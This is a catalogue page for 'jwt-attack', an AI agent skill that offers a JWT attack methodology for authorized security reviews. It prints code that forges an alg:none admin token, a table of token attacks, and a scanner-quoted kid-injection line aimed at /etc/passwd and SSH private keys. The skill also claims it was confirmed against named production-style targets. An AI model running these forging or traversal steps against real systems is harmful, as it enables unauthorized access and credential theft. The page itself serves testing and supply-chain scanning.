jwt-attack

jwt-attack is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 19 tokens per session (2,948 once invoked), scanned C, original, MIT.

A security-testing guide for JSON Web Tokens, or JWTs, which are signed strings commonly used to represent login sessions and API access.

In plain words
What is it for?
It helps assess Bearer tokens, session cookies, JavaScript bundles, and token-based APIs during an authorized security review.
Why use it?
It helps find weak or incorrectly checked tokens that could allow unauthorized access. It covers decoding, testing signing methods, guessing weak secrets, and finding tokens in web files.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do.

About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,242 stars · on GitHub · hiago.sh

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills
agentmods
npx agentmods add skills/uphiago/recon-skills/jwt-attack

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for jwt-attack

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/jwt-attack.svg)](https://agentmods.dev/skills/uphiago/recon-skills/jwt-attack)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/jwt-attack"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/jwt-attack.svg" alt="Measured on agentmods" height="20"></a>
Per session 19 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,948 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00019 $0.02948
Opus 5 $0.00010 $0.01474
Sonnet 5 $0.00004 $0.00590
Haiku 4.5 $0.00002 $0.00295

Measured 6d ago against content hash 8214b3546a4f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade C, and why

jwt-attack scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

compatibility: Requires curl, python3
recon/jwt-attack/SKILL.md · 292 lines

How it starts

The opening of the file, as written. The whole thing — 292 lines — stays where its author put it; the contents beside it link to each section on GitHub.

JWT Attack Skill

Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).

When to Use

  • API uses Authorization: Bearer eyJ... headers.
  • JavaScript bundles contain eyJ... token patterns.
  • After js-secrets-extraction finds JWT tokens.
  • After api-noauth-hunt needs token forging for auth bypass.
  • Cookies contain jwt=, token=, or session= with base64-encoded values.

Prerequisites

  • terminal with curl, python3.
  • JWT token to attack (from recon).
  • For brute force: hashcat or john for high-speed cracking (optional).

How to Run

# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
    for i, part in enumerate(parts[:2]):
        try:
            padded = part + '=' * (4 - len(part) % 4)
            decoded = base64.urlsafe_b64decode(padded)
            print(f'--- Part {i} ---')
            print(json.dumps(json.loads(decoded), indent=2))
        except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"

# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"

Quick Reference

Attack Prerequisites Impact Difficulty
alg:none Server accepts alg: "none" Full admin access Easy
RS256→HS256 JWT signed with RS256 Full admin access Medium (need public key)
Weak HMAC secret HS256 with weak secret Full admin access Medium (need to crack)
kid injection Server trusts kid header RCE/LFI Hard
Expired token reuse Server doesn't validate exp Session persistence Trivial
Hardcoded JWT JWT found in JS/source Whatever the JWT grants Trivial

Read the full file on GitHub · 292 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 292 lines · 19 tokens per session scan C 8214b3546a4f

Subscribe to this mod's changes

jwt-attack is a skill published in the GitHub repository uphiago/recon-skills (1,242 stars, last pushed 5d ago), licensed MIT. It adds 19 tokens to every session and 2,948 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

exploiting-jwt-algorithm-confusion-attack

Exploits JWT algorithm confusion vulnerabilities where the server's token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none…

xalgorix/xalgorix · 116 tokens

performing-api-rate-limiting-bypass

Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including…

xalgorix/xalgorix · 118 tokens

testing-api-authentication-weaknesses

Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and…

xalgorix/xalgorix · 102 tokens

detecting-compromised-cloud-credentials

Detecting compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible travel patterns, unauthorized resource provisioning, and credential abuse indicators using GuardDuty, Defender for Identity, and SCC Event Threat Detection.

xalgorix/xalgorix · 55 tokens

implementing-aws-config-rules-for-compliance

Implementing AWS Config rules for continuous compliance monitoring of AWS resources, deploying managed and custom rules aligned to CIS and PCI DSS frameworks, configuring automatic remediation with SSM Automation, and aggregating compliance data across accounts.

xalgorix/xalgorix · 53 tokens

implementing-cloud-dlp-for-data-protection

Implementing Cloud Data Loss Prevention (DLP) using Amazon Macie, Azure Information Protection, and Google Cloud DLP API to discover, classify, and protect sensitive data across cloud storage, databases, and data pipelines.

xalgorix/xalgorix · 54 tokens